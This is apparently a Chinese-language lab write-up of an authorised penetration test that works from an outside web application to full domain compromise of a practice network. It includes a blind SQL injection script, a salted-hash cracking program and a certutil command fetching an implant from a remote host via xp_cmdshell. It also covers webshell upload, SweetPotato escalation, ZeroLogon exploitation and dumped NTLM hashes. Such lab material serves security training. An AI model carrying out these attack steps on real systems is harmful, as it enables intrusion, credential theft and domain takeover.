域滲透之外網打點到三層內網
VSole2022-06-11 13:15:29
環境搭建
1.項目介紹:
本次項目模擬滲透測試人員在授權的情況下,對目標進行滲透測試,從外網打點到內網橫向滲透,最終獲取整個內網權限。本次項目屬于三層代理內網穿透,會學習到各種內網穿透技術,cobalt strike在內網中各種橫行方法,也會學習到在工具利用失敗的情況下,手寫exp獲取邊界突破點進入內網,詳細介紹外網各種打點方法,學習到行業流行的內網滲透測試辦法,對個人提升很有幫助。
2.VPS映射
1.將ip映射到公網。在公網vps使用配置frp工具的frps.ini 運行frps.exe -c frps.ini
在web1上配置frpc.ini 運行 frpc.exe -c frp.ini
成功訪問到環境
http://x.x.x.x:8088/login.jsp
信息收集
1.端口探測
使用nmap進行端口探測,發現4444、5003、8088、8899、8878端口開放。
然后查看其詳細信息。
2.網站源代碼查找
發現有一個網上銀行系統。使用弱口令和暴力破解,沒有爆破出弱口令用戶。
然后就在github試試運氣,發現了源碼。
源碼地址:
https://github.com/amateur-RD/netBank-System
發現了一個數據庫文件,有一些普通用戶和管理員用戶的賬戶和密碼。
3.SQL注入
然后進行登錄測試,發現存在sql注入漏洞
網上銀行系統Hsql注入漏洞
使用sqlmap不能進行跑出用戶名和密碼。
4.編寫腳本進行sql注入
#coding:utf-8
import requests
password=""
url="http://x.x.x.x:8878/admin/login"
payload="0123456789abcdefghijklmnopqrstuvwxyz"
password=""
for i in range(1,20):
for j in payload:
exp = "admin' and(select substring(password,%s,1) from Admin) like '%s'
or '1'='" %(i,j)
print("正在注入")
data = {"admin.username": exp, "admin.password": 'aaaa', "type": 1}
req = requests.post(url=url, data=data);
if "密碼不正確" in req.text:
password+=j
break
print(password)
成功跑出密碼。然后進行登錄。
登錄之后,尋找文件上傳或者可以獲取到webshell的地方,發現沒有可利用點。
5.tomexam SQL注入漏洞
在另一個地址處,發現可以注冊用戶。然后注冊用戶進行登錄。
登錄之后發現,某處存在sql注入。
使用sqlmap進行獲取用戶信息。
| 1 | 1 | 1399999999 | 1 | 超級管理員 | admin | admin | 17D03DA6474CE8BEB13B01E79F789E63 | 2022-04-09 00:14:08 | 301 | | 6 | 2 | | 1 | | eu3 | eu3 | 4124DDEBABDF97C2430274823B3184D4 (eu3) | 2014-05-17 13:58:49 | 14
成功抓到了管理員用戶和密碼,然后使用md5進行解密。
成功進行登錄。登錄之后沒有找到可getshell的地方。
6.Jspxcms-SQL注入
首頁發現可以注冊用戶和進行登錄。首先搜索歷史漏洞,看看有沒有getshell的地方。
發現先知的大佬做過找個版本的代碼審計。參考鏈接:https://xz.aliyun.com/t/10891?page=1#toc-7。發現可以通過文件上傳進行gethshell。
在之前的tomexam的數據庫中,發現存在jspxcms,試試查找一下管理員的用戶和信息。
使用sqlmap進行查找表、用戶和嗎密碼。
成功發現了用戶名和加密的密碼。密碼推斷是明文密碼+salt然后再進行md5加密。
7.編寫解密腳本
通過其源碼,分析其加密方式,然后編寫解密腳本。
package com.jspxcms.core;
import com.jspxcms.common.security.SHA1CredentialsDigest;
import com.jspxcms.common.util.Encodes;
import java.io.File;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.PrintWriter;
import java.util.Scanner;
public class Testmain {
public static void main(String[] args)throws Exception {
byte[] salt = Encodes.decodeHex("9b2b38ad7cb62fd9");
SHA1CredentialsDigest test = new SHA1CredentialsDigest();
String fileName = "D:\\csdnpass.txt";
String fileName2 = "D:\\hashpassword2.txt";
try (Scanner sc = new Scanner(new FileReader(fileName))) {
while (sc.hasNextLine()) {
String line = sc.nextLine();
String encPass = test.digest(line, salt);
File f = new File(fileName2);
FileWriter fw = new FileWriter(f, true);
PrintWriter pw = new PrintWriter(fw);
pw.println(line + " " + encPass);
pw.close();
}
}
}
}
8.登錄jspxcms后臺getshell
使用管理員用戶和解密出來的密碼,成功進入管理員后臺。
8.使用哥斯拉生成一個木馬,然后使用jar,打包成為war包。
9.編寫目錄穿越腳本
根據先知社區的大佬提出的方法,編寫目錄穿越腳本。
成功進行上傳。
10.獲取webshell
使用哥斯拉連接webshell,成功執行命令。
內網滲透:
1.frp反向代理上線CS
首先配置內網cobalt strike內網上線
在kali啟動cs服務端,
查看其端口
配置frp的frps.ini信息。
2.CS上線
cs生成監聽。
然后上傳.exe文件進行上線。
成功上線。
3.內網信息收集
使用shell iponfig 收集信息。
根據搭建的拓撲環境,然后測試一下與其他域內主機的連通性。
查看計算機名。
使用net view 查找域內其它主機,發現不能找到其他主機。
4.開啟代理進行端口掃描
查看server2012的IP地址。
5.域內主機端口掃描
發現存在1433——Mysql的端口,嘗試進行弱口令的暴力破解。
最好成功爆破出賬號和密碼.
6.mssqlclient 登錄Mssql服務器
使用mysql用戶和密碼進行登錄。
7.xp_cmshell進行getshell
help查看可以執行那些命令。
開啟xp_cmdshell,然后進行信息收集。
使用certutil遠程下載之前的木馬,然后進行上線
xp_cmdshell certutil -urlcache -split -f http://x.x.x.x/artifact.exe c:/windows/temp/artifact.exe
8.使用SweetPotato (ms16-075)提權
上線之后,進行簡單的信息收集。
然后使用第三方插件,利用SweetPotato (ms16-075)提權對其進行提權。
成功提權。
內網域滲透
1.內網域信息收集
使用net view查看域內主機。
使用hashdump進行抓取一些用戶的hash值。
查看主機ip地址。
查看域控的Ip地址,和域控的計算機名。
2.ZeroLogon CVE-2020-1472 獲取域控權限
編譯zerolgin的腳本成為exe,然后進行測試,發現主機存在該漏洞。
將它設置為空密碼。31d6cfe0d16ae931b73c59d7e0c089c0
3.配置代理,登錄域控
配置kali的代理地址,然后進行端口掃描,測試代理是否連接。
獲取域控的hash值。
Administrator:500:aad3b435b51404eeaad3b435b51404ee:81220c729f6ccb63d782a77007550f74::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b20eb34f01eaa5ac8b6f80986c765d6d::: sec123.cnk\cnk:1108:aad3b435b51404eeaad3b435b51404ee:83717c6c405937406f8e0a02a7215b16::: AD01$:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: SERVER2012$:1109:aad3b435b51404eeaad3b435b51404ee:cc759f89477f1595c993831ce5944e95:::
然后進行登錄域控。
4.PTH上線CS
關閉防火墻,利用pth進行上線cs。
成功執行命令。
生成tcp監聽,然后jump到域控主機。
5.恢復密碼、原hash。
恢復密碼。
使用 secretsdump.py獲取其hash值。
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCA
使用以下命令恢復域控密碼。成功恢復其密碼。
proxychains4 python3 reinstall_original_pw.py ad01 10.10.10.139 fb61e3c372e666adccb7a820aa39772f
靶機到這里就結束了。
最后,成功拿下整個域控。
總結:
該項目從環境搭建,使用vps將web1主機映射到公網上。通過信息收集,搜索源碼,然后分析源碼,進行sql注入。編寫sql注入腳本進行注入,通過分析登錄端的源碼編寫加密腳本,在編寫目錄穿越腳本成功獲取webshell。在內網滲透中,使用frp反向代理上線cs,使用xp_cmdshell進行getshell。在域滲透中使用CVE-2020-1472獲取域控權限。這臺靶機中沒裝殺軟,但是從外網打點到內網滲透,再到域滲透中的知識面是非常廣的。
VSole
網絡安全專家








































































